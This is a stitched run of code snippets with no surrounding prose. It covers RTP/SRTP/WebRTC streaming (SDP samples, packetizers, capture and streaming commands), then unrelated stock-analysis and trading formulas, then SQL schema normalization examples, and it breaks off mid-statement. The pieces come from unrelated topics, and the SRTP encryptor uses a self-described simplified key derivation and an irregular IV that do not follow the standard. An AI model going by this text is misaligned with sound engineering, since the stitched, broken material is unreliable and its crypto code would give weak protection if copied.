2. DTLS derives SRTP keys
   - Master key
   - Master salt

3. Switch to SRTP/SRTCP
   - Use derived keys
   - DTLS only for re-keying

a=fingerprint:sha-256 AA:BB:CC:...
a=setup:actpass
a=ice-ufrag:abc123
a=ice-pwd:xyz789

a=crypto:1 AES_CM_128_HMAC_SHA1_80 inline:WVNfX19zZ...

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import hmac
import hashlib

class SRTPEncryptor:
    def __init__(self, master_key, master_salt):
        self.master_key = master_key
        self.master_salt = master_salt

        # Derive keys (simplified)
        self.enc_key = self._derive_key(0x00, 16)
        self.auth_key = self._derive_key(0x01, 20)
        self.salt_key = self._derive_key(0x02, 14)

    def _derive_key(self, label, length):
        """Simplified key derivation"""
        # Real implementation uses proper KDF (RFC 3711)
        data = self.master_key + bytes([label]) + self.master_salt
        return hashlib.sha256(data).digest()[:length]

    def encrypt_rtp(self, rtp_packet):
        """Encrypt RTP packet"""
        # Parse RTP header (first 12 bytes)
        header = rtp_packet[:12]
        payload = rtp_packet[12:]

        # Extract SSRC and sequence for IV
        ssrc = int.from_bytes(header[8:12], 'big')
        seq = int.from_bytes(header[2:4], 'big')

        # Construct IV (SSRC || packet index)
        iv = ssrc.to_bytes(4, 'big') + seq.to_bytes(8, 'big')
        iv = bytes([a ^ b for a, b in zip(iv, self.salt_key)])

        # Encrypt payload with AES-CTR
        cipher = Cipher(
            algorithms.AES(self.enc_key),
            modes.CTR(iv),
            backend=default_backend()
        )
        encryptor = cipher.encryptor()
        encrypted_payload = encryptor.update(payload) + encryptor.finalize()

        # Compute authentication tag
        auth_data = header + encrypted_payload
        tag = hmac.new(self.auth_key, auth_data, hashlib.sha1).digest()[:10]

        # Return SRTP packet
        return header + encrypted_payload + tag

# Usage
master_key = b'sixteen byte key'
master_salt = b'fourteen byte!!'
encryptor = SRTPEncryptor(master_key, master_salt)

# Encrypt RTP packet
srtp_packet = encryptor.encrypt_rtp(rtp_packet)

v=0                                    # Version
o=alice 123456 123456 IN IP4 192.168.1.100  # Origin
s=Audio/Video Call                     # Session name
c=IN IP4 192.168.1.100                 # Connection info
t=0 0                                   # Time (0 0 = permanent)

m=audio 5004 RTP/SAVPF 111 0           # Media description
a=rtpmap:111 opus/48000/2              # Payload mapping
a=fmtp:111 minptime=10;useinbandfec=1  # Format parameters
a=rtpmap:0 PCMU/8000                   # Fallback codec

m=video 5006 RTP/SAVPF 96 97           # Video media
a=rtpmap:96 VP8/90000                  # VP8 codec
a=rtpmap:97 H264/90000                 # H.264 codec
a=fmtp:97 profile-level-id=42e01f      # H.264 profile

Application (JavaScript)

   WebRTC API

  Signaling       (SDP offer/answer)
$
  ICE             (NAT traversal)
$
  DTLS            (Key exchange)
$
  SRTP/SRTCP      (Media transport)  RTP here
$
  SCTP            (Data channels)

      UDP

// Create peer connection
const pc = new RTCPeerConnection({
    iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
});

// Add media tracks
const stream = await navigator.mediaDevices.getUserMedia({
    audio: true,
    video: true
});
stream.getTracks().forEach(track => pc.addTrack(track, stream));

// Create offer (generates SDP)
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);

// Send offer SDP to remote peer via signaling
// (WebSocket, HTTP, etc.)
signalingChannel.send({type: 'offer', sdp: offer.sdp});

// Receive answer from remote
signalingChannel.on('answer', async (answer) => {
    await pc.setRemoteDescription(answer);
    // ICE negotiation, DTLS handshake, then RTP flows!
});

v=0
m=audio 9 UDP/TLS/RTP/SAVPF 111
a=rtpmap:111 opus/48000/2
a=fmtp:111 minptime=10;useinbandfec=1
a=rtcp-mux                              # RTP and RTCP multiplexed
a=setup:actpass
a=fingerprint:sha-256 AA:BB:CC:...      # DTLS cert fingerprint
a=ice-ufrag:xyz
a=ice-pwd:abc123
a=ssrc:123456789 cname:user@host        # RTP SSRC

m=video 9 UDP/TLS/RTP/SAVPF 96
a=rtpmap:96 VP8/90000
a=rtcp-fb:96 nack                       # NACK support
a=rtcp-fb:96 nack pli                   # Picture Loss Indication
a=rtcp-fb:96 goog-remb                  # Bandwidth estimation

Alice                    SIP Server                    Bob
  |                          |                          |
  |--- INVITE (SDP offer) -->|                          |
  |                          |--- INVITE (SDP) -------->|
  |                          |<-- 180 Ringing ----------|
  |<-- 180 Ringing ----------|                          |
  |                          |<-- 200 OK (SDP answer) --|
  |<-- 200 OK (SDP) ---------|                          |
  |--- ACK ----------------->|--- ACK ----------------->|
  |                          |                          |
  |<=============== RTP Audio Stream ==================>|
  |                          |                          |
  |--- BYE ----------------->|--- BYE ----------------->|
  |<-- 200 OK ---------------|<-- 200 OK ---------------|

INVITE sip:bob@example.com SIP/2.0
Via: SIP/2.0/UDP alice-phone.example.com
From: Alice <sip:alice@example.com>
To: Bob <sip:bob@example.com>
Content-Type: application/sdp

v=0
o=alice 123456 123456 IN IP4 192.168.1.100
s=VoIP Call
c=IN IP4 192.168.1.100
t=0 0
m=audio 5004 RTP/AVP 0 8 111
a=rtpmap:0 PCMU/8000
a=rtpmap:8 PCMA/8000
a=rtpmap:111 opus/48000/2

Sender
  |
  | RTP to 239.1.2.3:5004
  |
  > Receiver 1
  > Receiver 2
  > Receiver 3
  > Receiver N

Phone A                               Phone B
  |                                     |
  |-- SIP INVITE (with SDP) ----------->|
  |<- SIP 200 OK (with SDP) ------------|
  |                                     |
  |<======= RTP Audio (G.711) =========>|
  |<======= RTCP Reports ===============|
  |                                     |
  |-- SIP BYE ------------------------->|

# VoIP call parameters
SAMPLE_RATE = 8000  # 8kHz for G.711
PACKET_DURATION = 0.020  # 20ms
SAMPLES_PER_PACKET = int(SAMPLE_RATE * PACKET_DURATION)  # 160

# Send audio packets
def send_voip_audio(sender, audio_stream):
    for audio_chunk in audio_stream:
        # Encode with G.711 (μ-law)
        encoded = g711_ulaw_encode(audio_chunk)

        # Send RTP packet (PT=0 for PCMU)
        sender.send_packet(
            payload=encoded,
            marker=False,
            timestamp_increment=SAMPLES_PER_PACKET
        )

        time.sleep(PACKET_DURATION)

Streamer                             Viewer
  Camera                               Display

  H.264 Encoder                    H.264 Decoder

  RTP Packetizer                  RTP Depacketizer

  |=========== RTP/UDP/IP =============|

def fragment_h264_frame(frame_data, mtu=1400):
    """Fragment large H.264 frame into RTP packets"""
    max_payload = mtu - 12  # Account for RTP header

    if len(frame_data) <= max_payload:
        # Small frame - single NAL unit
        return [frame_data]

    # Large frame - use FU-A fragmentation
    fragments = []
    nal_header = frame_data[0]
    nal_payload = frame_data[1:]

    fu_indicator = (nal_header & 0xE0) | 28  # Type = FU-A

    offset = 0
    first = True
    while offset < len(nal_payload):
        chunk_size = min(max_payload - 2, len(nal_payload) - offset)
        chunk = nal_payload[offset:offset + chunk_size]

        # FU header
        fu_header = (nal_header & 0x1F)
        if first:
            fu_header |= 0x80  # Start bit
            first = False
        if offset + chunk_size >= len(nal_payload):
            fu_header |= 0x40  # End bit

        fragment = bytes([fu_indicator, fu_header]) + chunk
        fragments.append(fragment)

        offset += chunk_size

    return fragments

Participant A                 MCU/SFU                 Participant B
     |                          |                          |
     |-- RTP (audio+video) ---->|                          |
     |                          |<-- RTP (audio+video) ----|
     |<-- RTP (mixed) ----------|                          |
     |                          |-- RTP (mixed) ---------->|

Sender encodes 3 versions:
  - 1080p high quality
  - 720p medium quality
  - 360p low quality

SFU selects appropriate version for each receiver
based on their bandwidth/screen size

def detect_active_speaker(participants):
    """Detect active speaker based on audio levels"""
    max_level = -127
    active_speaker = None

    for participant in participants:
        # Parse audio level extension from recent packets
        level = participant.get_average_audio_level()

        if level > max_level and level > -40:  # -40dBov threshold
            max_level = level
            active_speaker = participant

    return active_speaker

def adaptive_screen_sharing(encoder, screen_capturer):
    """Adapt frame rate based on screen activity"""
    last_frame = None
    static_count = 0

    while True:
        frame = screen_capturer.capture()

        # Detect if screen changed
        if frame == last_frame:
            static_count += 1
        else:
            static_count = 0

        # Adaptive frame rate
        if static_count > 5:
            # Screen static - send at low rate (1 fps)
            time.sleep(1.0)
        else:
            # Screen changing - send at high rate (15 fps)
            time.sleep(1.0 / 15)

        # Encode and send
        encoded = encoder.encode(frame)
        send_rtp_video(encoded)

        last_frame = frame

# Gaming VoIP optimized settings
opus_encoder = OpusEncoder(
    sample_rate=48000,
    channels=1,  # Mono sufficient for voice
    application=OPUS_APPLICATION_VOIP,
    bitrate=24000,  # 24 kbps
    frame_duration=10  # 10ms frames for low latency
)

# Minimal jitter buffer
jitter_buffer = JitterBuffer(
    min_delay_ms=20,
    max_delay_ms=60,
    target_delay_ms=30
)

Encoder produces 3 streams:
  SSRC 1: 1080p @ 2.5 Mbps  (high)
  SSRC 2: 720p  @ 1.0 Mbps  (medium)
  SSRC 3: 360p  @ 0.3 Mbps  (low)

SFU routes appropriate stream to each receiver:
  Desktop with good connection  high
  Mobile with poor connection   low

m=video 9 UDP/TLS/RTP/SAVPF 96
a=rtpmap:96 VP8/90000
a=ssrc-group:SIM 11111111 22222222 33333333
a=ssrc:11111111 cname:user@host
a=ssrc:22222222 cname:user@host
a=ssrc:33333333 cname:user@host

Base layer: 360p
Enhancement layer 1: +360p  720p
Enhancement layer 2: +720p  1080p

Receiver can decode:
  - Base only  360p
  - Base + EL1  720p
  - Base + EL1 + EL2  1080p

Input:
  SSRC A: Audio from participant A
  SSRC B: Audio from participant B
  SSRC C: Audio from participant C

Mixer:
  1. Decode all streams
  2. Mix audio (add samples)
  3. Encode mixed audio
  4. Send as new stream

Output:
  SSRC M: Mixed audio
  CSRC list: [A, B, C]  (who contributed)

Internal Network    Translator    External Network

Functions:
- NAT traversal
- Protocol conversion (RTP  RTP/RTCP mux)
- Transcoding (optional)

def adjust_bitrate_on_loss(current_bitrate, loss_rate):
    if loss_rate > 0.05:  # > 5% loss
        return current_bitrate * 0.85  # Reduce 15%
    elif loss_rate < 0.01:  # < 1% loss
        return current_bitrate * 1.05  # Increase 5%
    return current_bitrate

a=rtcp-fb:96 goog-remb
a=rtcp-fb:96 transport-cc

import ntplib
from time import time

def get_ntp_time():
    """Get current time in NTP format"""
    client = ntplib.NTPClient()
    response = client.request('pool.ntp.org')
    return response.tx_time  # NTP timestamp

def create_rtcp_sr(rtp_timestamp, ntp_time):
    """Create RTCP Sender Report with NTP correlation"""
    # NTP format: seconds since 1900-01-01
    # Split into 32-bit integer and fraction
    ntp_sec = int(ntp_time)
    ntp_frac = int((ntp_time - ntp_sec) * 2**32)

    sr_packet = struct.pack(
        '!HHIIIII',
        0x80C8,           # V=2, PT=SR(200)
        6,                # Length
        ssrc,             # SSRC
        ntp_sec,          # NTP timestamp (MSW)
        ntp_frac,         # NTP timestamp (LSW)
        rtp_timestamp,    # RTP timestamp
        packet_count,     # Sender's packet count
        octet_count       # Sender's octet count
    )
    return sr_packet

Audio SR: NTP=12345.500, RTP=48000
Video SR: NTP=12345.500, RTP=90000

Both streams aligned to same NTP time
 Perfect lip-sync

# Capture on specific port
tcpdump -i eth0 -w rtp_capture.pcap udp port 5004

# Open in Wireshark
wireshark rtp_capture.pcap

rtp                          # All RTP packets
rtp.ssrc == 0x12345678       # Specific SSRC
rtp.p_type == 96             # Specific payload type
rtp.marker == 1              # Packets with marker bit
rtp.seq > 1000 && rtp.seq < 1100  # Sequence range

Real-Time Transport Protocol
    Version: 2
    Padding: False
    Extension: False
    CSRC count: 0
    Marker: False
    Payload type: Opus (96)
    Sequence number: 1234
    Timestamp: 48000
    Synchronization Source identifier: 0xABCD1234 (2882400052)
    Payload: 40 bytes

# Capture RTP on even ports (convention)
tcpdump -i eth0 'udp[1] & 1 == 0 && udp[8] & 0xC0 == 0x80'

# Explanation:
# udp[1] & 1 == 0    Even destination port
# udp[8] & 0xC0 == 0x80    RTP version 2

# Stream video file via RTP
ffmpeg -re -i input.mp4 \
  -c:v libvpx -b:v 1M \
  -f rtp rtp://192.168.1.100:5004

# Generate SDP file for receiver
ffmpeg -re -i input.mp4 \
  -c:v libvpx -b:v 1M \
  -f rtp rtp://192.168.1.100:5004 \
  > stream.sdp

# Receive using SDP file
ffplay -protocol_whitelist file,rtp,udp stream.sdp

# Or specify directly
ffplay -protocol_whitelist rtp,udp \
  -i rtp://0.0.0.0:5004

gst-launch-1.0 \
  audiotestsrc ! \
  opusenc ! \
  rtpopuspay ! \
  udpsink host=192.168.1.100 port=5004

gst-launch-1.0 \
  udpsrc port=5004 caps="application/x-rtp" ! \
  rtpopusdepay ! \
  opusdec ! \
  autoaudiosink

gst-launch-1.0 \
  videotestsrc ! \
  x264enc ! \
  rtph264pay ! \
  udpsink host=192.168.1.100 port=5006

class RTPStatistics:
    def __init__(self):
        self.packets_received = 0
        self.packets_lost = 0
        self.bytes_received = 0
        self.last_seq = None
        self.highest_seq = 0

        # For jitter calculation
        self.jitter = 0.0
        self.last_arrival = None
        self.last_timestamp = None

    def update(self, rtp_packet):
        seq = rtp_packet['sequence']
        ts = rtp_packet['timestamp']
        arrival_time = time.time()

        # Packet count
        self.packets_received += 1
        self.bytes_received += len(rtp_packet['payload'])

        # Loss detection
        if self.last_seq is not None:
            expected = (self.last_seq + 1) & 0xFFFF
            if seq != expected:
                loss = (seq - expected) & 0xFFFF
                self.packets_lost += loss

        self.last_seq = seq
        self.highest_seq = max(self.highest_seq, seq)

        # Jitter calculation (RFC 3550)
        if self.last_arrival and self.last_timestamp:
            D = abs((arrival_time - self.last_arrival) -
                   ((ts - self.last_timestamp) / 48000.0))
            self.jitter = self.jitter + (D - self.jitter) / 16.0

        self.last_arrival = arrival_time
        self.last_timestamp = ts

    def get_report(self):
        total_expected = self.packets_received + self.packets_lost
        loss_rate = self.packets_lost / total_expected if total_expected > 0 else 0

        return {
            'packets_received': self.packets_received,
            'packets_lost': self.packets_lost,
            'loss_rate': loss_rate * 100,
            'bytes_received': self.bytes_received,
            'jitter_ms': self.jitter * 1000,
            'highest_seq': self.highest_seq
        }

# Usage
stats = RTPStatistics()
for packet in rtp_stream:
    stats.update(packet)

report = stats.get_report()
print(f"Loss: {report['loss_rate']:.2f}%, Jitter: {report['jitter_ms']:.1f}ms")

# Check if packets arriving
tcpdump -i eth0 -n udp port 5004

# Check firewall
sudo iptables -L -n -v | grep 5004

# Check listening processes
sudo netstat -ulnp | grep 5004

# Test with simple sender/receiver
# Sender:
sender = RTPSender('192.168.1.100', 5004)
sender.send_packet(b'test_data')

# Receiver:
receiver = RTPReceiver(5004)
packet = receiver.receive_packet()
print(f"Received: {packet}")

# Check if packets flowing both directions
rtp && ip.addr == 192.168.1.100

# Monitor packet loss and jitter
stats = RTPStatistics()
while True:
    packet = receive_packet()
    stats.update(packet)

    if stats.packets_received % 100 == 0:
        report = stats.get_report()
        print(f"Loss: {report['loss_rate']:.1f}%, "
              f"Jitter: {report['jitter_ms']:.1f}ms")

        if report['loss_rate'] > 5:
            print("WARNING: High packet loss!")
        if report['jitter_ms'] > 50:
            print("WARNING: High jitter!")

def detect_keyframe_loss(packets):
    """Detect if we lost a keyframe"""
    last_keyframe_seq = None

    for packet in packets:
        if is_keyframe(packet):
            if last_keyframe_seq is not None:
                gap = packet['sequence'] - last_keyframe_seq
                if gap > 300:  # > 10 seconds at 30fps
                    print(f"WARNING: Long gap between keyframes: {gap} packets")
            last_keyframe_seq = packet['sequence']

def check_av_sync(audio_stats, video_stats):
    """Check if A/V streams are synchronized"""
    # Compare playout times based on NTP correlation
    audio_ntp = audio_stats['ntp_time']
    video_ntp = video_stats['ntp_time']

    sync_diff_ms = abs(audio_ntp - video_ntp) * 1000

    if sync_diff_ms > 100:  # > 100ms out of sync
        print(f"WARNING: A/V sync off by {sync_diff_ms:.0f}ms")
        return False
    return True

# Check RTP packet headers
tshark -i eth0 -Y rtp -T fields \
  -e rtp.ssrc -e rtp.seq -e rtp.timestamp -e rtp.p_type

# Calculate packet loss
tshark -i eth0 -Y rtp -T fields -e rtp.seq | \
  awk 'NR>1 {diff=$1-prev; if(diff>1) loss+=diff-1} {prev=$1} END {print "Lost:", loss}'

# Monitor jitter
tshark -i eth0 -Y rtcp -T fields -e rtcp.jitter

# Find SSRC collisions
tshark -i eth0 -Y rtp -T fields -e rtp.ssrc | sort | uniq -c

# Latency-critical (gaming, live calls)
JitterBuffer(
    min_delay_ms=10,
    max_delay_ms=50,
    target_delay_ms=20
)

# Quality-critical (music streaming)
JitterBuffer(
    min_delay_ms=50,
    max_delay_ms=300,
    target_delay_ms=150
)

# Balanced (video conferencing)
JitterBuffer(
    min_delay_ms=20,
    max_delay_ms=200,
    target_delay_ms=60
)

def calculate_optimal_packet_size(codec, network_mtu):
    """Calculate optimal RTP packet size"""
    # Overhead: IP(20) + UDP(8) + RTP(12) = 40 bytes
    overhead = 40

    # Target: < 1200 bytes to avoid fragmentation
    max_payload = min(network_mtu - overhead, 1200)

    if codec == 'opus':
        # Opus: 20ms frames @ 24kbps = ~60 bytes
        # Can fit in single packet
        return 60

    elif codec == 'h264':
        # H.264: Use MTU - overhead
        return max_payload

    elif codec == 'g711':
        # G.711: 20ms @ 64kbps = 160 bytes
        return 160

class BandwidthController:
    def __init__(self, target_bitrate_kbps):
        self.target_bitrate = target_bitrate_kbps * 1000
        self.current_bitrate = target_bitrate_kbps * 1000

    def adapt_to_loss(self, loss_rate):
        """Adapt bitrate based on packet loss"""
        if loss_rate > 0.05:  # > 5%
            self.current_bitrate *= 0.85  # Reduce 15%
        elif loss_rate < 0.01 and self.current_bitrate < self.target_bitrate:
            self.current_bitrate *= 1.05  # Increase 5%

        return int(self.current_bitrate)

    def adapt_to_rtt(self, rtt_ms):
        """Adapt to round-trip time"""
        if rtt_ms > 300:  # High latency
            # Reduce bitrate to lower queuing delay
            self.current_bitrate *= 0.90

        return int(self.current_bitrate)

# Set DSCP for RTP packets (Linux)
# EF (Expedited Forwarding) for voice
iptables -t mangle -A OUTPUT -p udp --dport 5004 \
  -j DSCP --set-dscp 46

# AF41 for video
iptables -t mangle -A OUTPUT -p udp --dport 5006 \
  -j DSCP --set-dscp 34

# Use hardware encoding when available
def choose_encoder(codec):
    if codec == 'h264':
        # Try hardware encoders first
        encoders = [
            'h264_nvenc',    # NVIDIA
            'h264_qsv',      # Intel Quick Sync
            'h264_videotoolbox',  # Apple
            'libx264'        # Software fallback
        ]
        for enc in encoders:
            if is_available(enc):
                return enc

    return 'libx264'  # Fallback

from aiortc import RTCPeerConnection, RTCSessionDescription
from aiortc.contrib.media import MediaPlayer, MediaRecorder

pc = RTCPeerConnection()
player = MediaPlayer('/dev/video0', format='v4l2')
pc.addTrack(player.video)

import pyrtp

const pc = new RTCPeerConnection();
const stream = await navigator.mediaDevices.getUserMedia({audio: true, video: true});
stream.getTracks().forEach(track => pc.addTrack(track, stream));

#include <liveMedia.hh>
// Full-featured RTSP/RTP server and client

gst-launch-1.0 videotestsrc ! x264enc ! rtph264pay ! udpsink

ffmpeg -i input.mp4 -f rtp rtp://dest:port

import "github.com/pion/rtp"

packet := &rtp.Packet{
    Header: rtp.Header{
        Version: 2,
        PayloadType: 96,
        SequenceNumber: seq,
        Timestamp: ts,
        SSRC: ssrc,
    },
    Payload: payload,
}

# Stream to RTP
vlc input.mp4 --sout '#rtp{dst=192.168.1.100,port=5004}'

# Receive RTP
vlc rtp://@:5004

tcpdump -i eth0 -w capture.pcap udp port 5004

sipp -sn uac 192.168.1.100

# Calculate basic stock metrics
def calculate_pe_ratio(price, earnings_per_share):
    """Price-to-Earnings Ratio"""
    return price / earnings_per_share

def calculate_dividend_yield(annual_dividend, stock_price):
    """Dividend Yield as percentage"""
    return (annual_dividend / stock_price) * 100

def calculate_market_cap(price, shares_outstanding):
    """Market Capitalization"""
    return price * shares_outstanding

# Example
stock_price = 150.00
eps = 10.00
annual_dividend = 3.00
shares = 1_000_000_000

pe_ratio = calculate_pe_ratio(stock_price, eps)
dividend_yield = calculate_dividend_yield(annual_dividend, stock_price)
market_cap = calculate_market_cap(stock_price, shares)

print(f"P/E Ratio: {pe_ratio:.2f}")
print(f"Dividend Yield: {dividend_yield:.2f}%")
print(f"Market Cap: ${market_cap:,.0f}")

# Profitability Ratios
def gross_margin(revenue, cogs):
    return ((revenue - cogs) / revenue) * 100

def net_profit_margin(net_income, revenue):
    return (net_income / revenue) * 100

def return_on_equity(net_income, shareholders_equity):
    return (net_income / shareholders_equity) * 100

# Liquidity Ratios
def current_ratio(current_assets, current_liabilities):
    return current_assets / current_liabilities

def quick_ratio(current_assets, inventory, current_liabilities):
    return (current_assets - inventory) / current_liabilities

# Leverage Ratios
def debt_to_equity(total_debt, total_equity):
    return total_debt / total_equity

def interest_coverage(ebit, interest_expense):
    return ebit / interest_expense

# Efficiency Ratios
def asset_turnover(revenue, total_assets):
    return revenue / total_assets

def inventory_turnover(cogs, average_inventory):
    return cogs / average_inventory

import pandas as pd
import numpy as np

def simple_moving_average(prices, period):
    """Calculate SMA"""
    return prices.rolling(window=period).mean()

def exponential_moving_average(prices, period):
    """Calculate EMA"""
    return prices.ewm(span=period, adjust=False).mean()

def relative_strength_index(prices, period=14):
    """Calculate RSI"""
    delta = prices.diff()
    gain = (delta.where(delta > 0, 0)).rolling(window=period).mean()
    loss = (-delta.where(delta < 0, 0)).rolling(window=period).mean()
    rs = gain / loss
    rsi = 100 - (100 / (1 + rs))
    return rsi

def bollinger_bands(prices, period=20, std_dev=2):
    """Calculate Bollinger Bands"""
    sma = simple_moving_average(prices, period)
    std = prices.rolling(window=period).std()
    upper_band = sma + (std * std_dev)
    lower_band = sma - (std * std_dev)
    return upper_band, sma, lower_band

def macd(prices, fast=12, slow=26, signal=9):
    """Calculate MACD"""
    ema_fast = exponential_moving_average(prices, fast)
    ema_slow = exponential_moving_average(prices, slow)
    macd_line = ema_fast - ema_slow
    signal_line = macd_line.ewm(span=signal, adjust=False).mean()
    histogram = macd_line - signal_line
    return macd_line, signal_line, histogram

def position_size_fixed_dollar(account_balance, risk_per_trade):
    """Fixed dollar amount per trade"""
    return risk_per_trade

def position_size_percentage(account_balance, risk_percentage):
    """Percentage of account balance"""
    return account_balance * (risk_percentage / 100)

def position_size_volatility(account_balance, risk_percentage, entry_price, stop_loss):
    """Based on volatility and stop loss"""
    risk_per_share = abs(entry_price - stop_loss)
    total_risk = account_balance * (risk_percentage / 100)
    shares = total_risk / risk_per_share
    return int(shares)

# Example
account = 100000
risk_pct = 2  # 2% risk per trade
entry = 150
stop = 145

shares = position_size_volatility(account, risk_pct, entry, stop)
print(f"Buy {shares} shares at ${entry} with stop at ${stop}")

def calculate_stop_loss(entry_price, stop_percentage, position_type='long'):
    """Calculate stop loss price"""
    if position_type == 'long':
        return entry_price * (1 - stop_percentage / 100)
    else:  # short
        return entry_price * (1 + stop_percentage / 100)

def calculate_take_profit(entry_price, risk_reward_ratio, stop_loss, position_type='long'):
    """Calculate take profit based on risk/reward ratio"""
    risk = abs(entry_price - stop_loss)
    reward = risk * risk_reward_ratio

    if position_type == 'long':
        return entry_price + reward
    else:  # short
        return entry_price - reward

# Example: 2:1 risk/reward ratio
entry = 100
stop_pct = 5
rr_ratio = 2

stop = calculate_stop_loss(entry, stop_pct, 'long')
target = calculate_take_profit(entry, rr_ratio, stop, 'long')

print(f"Entry: ${entry}")
print(f"Stop Loss: ${stop:.2f}")
print(f"Take Profit: ${target:.2f}")
print(f"Risk: ${entry - stop:.2f}")
print(f"Reward: ${target - entry:.2f}")

def simple_return(start_value, end_value):
    """Simple return percentage"""
    return ((end_value - start_value) / start_value) * 100

def compound_annual_growth_rate(start_value, end_value, years):
    """CAGR"""
    return (((end_value / start_value) ** (1 / years)) - 1) * 100

def total_return(initial_investment, final_value, dividends):
    """Total return including dividends"""
    return ((final_value + dividends - initial_investment) / initial_investment) * 100

import numpy as np

def volatility(returns):
    """Standard deviation of returns (annualized)"""
    return np.std(returns) * np.sqrt(252)  # 252 trading days

def sharpe_ratio(returns, risk_free_rate=0.02):
    """Risk-adjusted return"""
    excess_returns = returns - risk_free_rate / 252
    return np.mean(excess_returns) / np.std(excess_returns) * np.sqrt(252)

def maximum_drawdown(prices):
    """Maximum peak-to-trough decline"""
    cummax = np.maximum.accumulate(prices)
    drawdown = (prices - cummax) / cummax
    return np.min(drawdown) * 100

def beta(asset_returns, market_returns):
    """Measure of volatility relative to market"""
    covariance = np.cov(asset_returns, market_returns)[0][1]
    market_variance = np.var(market_returns)
    return covariance / market_variance

def future_value(present_value, rate, periods):
    """FV = PV × (1 + r)^n"""
    return present_value * (1 + rate) ** periods

def present_value(future_value, rate, periods):
    """PV = FV / (1 + r)^n"""
    return future_value / (1 + rate) ** periods

def compound_interest(principal, rate, periods, compounds_per_period=1):
    """Compound interest formula"""
    return principal * (1 + rate / compounds_per_period) ** (periods * compounds_per_period)

# Example: $10,000 invested for 10 years at 7% annual return
principal = 10000
rate = 0.07
years = 10

fv = future_value(principal, rate, years)
print(f"${principal:,.2f} grows to ${fv:,.2f} in {years} years")

def future_value_annuity(payment, rate, periods):
    """FV of regular payments"""
    return payment * (((1 + rate) ** periods - 1) / rate)

def present_value_annuity(payment, rate, periods):
    """PV of regular payments"""
    return payment * ((1 - (1 + rate) ** -periods) / rate)

def loan_payment(principal, rate, periods):
    """Calculate loan payment"""
    return principal * (rate * (1 + rate) ** periods) / ((1 + rate) ** periods - 1)

# Example: Mortgage calculation
loan_amount = 300000
annual_rate = 0.04
years = 30
monthly_rate = annual_rate / 12
months = years * 12

monthly_payment = loan_payment(loan_amount, monthly_rate, months)
total_paid = monthly_payment * months
total_interest = total_paid - loan_amount

print(f"Monthly Payment: ${monthly_payment:,.2f}")
print(f"Total Interest: ${total_interest:,.2f}")

# Common order types

class Order:
    """Order examples"""

    @staticmethod
    def market_order():
        """Execute at current market price"""
        return {
            "type": "market",
            "execution": "immediate",
            "price": "current market price"
        }

    @staticmethod
    def limit_order(limit_price):
        """Execute at specific price or better"""
        return {
            "type": "limit",
            "limit_price": limit_price,
            "execution": "when price reaches limit"
        }

    @staticmethod
    def stop_loss_order(stop_price):
        """Sell when price falls to stop level"""
        return {
            "type": "stop_loss",
            "stop_price": stop_price,
            "execution": "when price hits stop"
        }

    @staticmethod
    def stop_limit_order(stop_price, limit_price):
        """Combines stop and limit orders"""
        return {
            "type": "stop_limit",
            "stop_price": stop_price,
            "limit_price": limit_price,
            "execution": "limit order triggered at stop"
        }

Business Requirements:
├─ What data needs to be stored?
├─ Who will access the data?
├─ What operations will be performed?
├─ What are the performance requirements?
└─ What are the scalability needs?

┌─────────────┐         ┌─────────────┐
│   User      │         │    Order    │
├─────────────┤         ├─────────────┤
│ id (PK)     │────────<│ id (PK)     │
│ name        │   1:N   │ user_id(FK) │
│ email       │         │ total       │
│ created_at  │         │ status      │
└─────────────┘         │ created_at  │
                        └─────────────┘

-- Entities become tables
-- Attributes become columns
-- Relationships become foreign keys

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    email VARCHAR(255) UNIQUE NOT NULL,
    created_at TIMESTAMP DEFAULT NOW()
);

CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    user_id INTEGER REFERENCES users(id),
    total DECIMAL(10,2) NOT NULL,
    status VARCHAR(20) DEFAULT 'pending',
    created_at TIMESTAMP DEFAULT NOW()
);

-- Add indexes
CREATE INDEX idx_orders_user_id ON orders(user_id);
CREATE INDEX idx_orders_status ON orders(status);
CREATE INDEX idx_orders_created_at ON orders(created_at);

-- Add partitioning for large tables
CREATE TABLE orders (
    id SERIAL,
    user_id INTEGER,
    total DECIMAL(10,2),
    created_at TIMESTAMP
) PARTITION BY RANGE (created_at);

CREATE TABLE orders_2024 PARTITION OF orders
    FOR VALUES FROM ('2024-01-01') TO ('2025-01-01');

CREATE TABLE users (
    id INT,
    name VARCHAR(100),
    phone_numbers VARCHAR(255)  -- "555-1234, 555-5678"
);

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100)
);

CREATE TABLE user_phones (
    id SERIAL PRIMARY KEY,
    user_id INTEGER REFERENCES users(id),
    phone_number VARCHAR(20)
);

CREATE TABLE order_items (
    order_id INT,
    product_id INT,
    product_name VARCHAR(100),  -- Depends only on product_id
    product_price DECIMAL(10,2), -- Depends only on product_id
    quantity INT,
    PRIMARY KEY (order_id, product_id)
);

CREATE TABLE products (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    price DECIMAL(10,2)
);

CREATE TABLE order_items (
    order_id INTEGER REFERENCES orders(id),
    product_id INTEGER REFERENCES products(id),
    quantity INTEGER,
    PRIMARY KEY (order_id, product_id)
);

CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    customer_id INTEGER,
    customer_name VARCHAR(100),  -- Depends on customer_id, not order id
    customer_email VARCHAR(255), -- Transitive dependency
    total DECIMAL(10,2)
);

CREATE TABLE customers (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    email VARCHAR(255)
);

CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    customer_id INTEGER REFERENCES customers(id),
    total DECIMAL(10,2)
);

-- Not BCNF: professor determines course, but professor is not a superkey
CREATE TABLE teaching (
    student_id INT,
    course_id INT,
    professor_id INT,
    PRIMARY KEY (student_id, course_id)
);

-- BCNF: Split into two tables
CREATE TABLE course_professors (
    course_id INT PRIMARY KEY,
    professor_id INT
);

CREATE TABLE student_courses (
    student_id INT,
    course_id INT REFERENCES course_professors(course_id),
    PRIMARY KEY (student_id, course_id)
);

SELECT
    o.id,
    o.total,
    c.name as customer_name,
    c.email as customer_email
FROM orders o
JOIN customers c ON o.customer_id = c.id;

CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    customer_id INTEGER,
    customer_name VARCHAR(100),  -- Denormalized
    customer_email VARCHAR(255), -- Denormalized
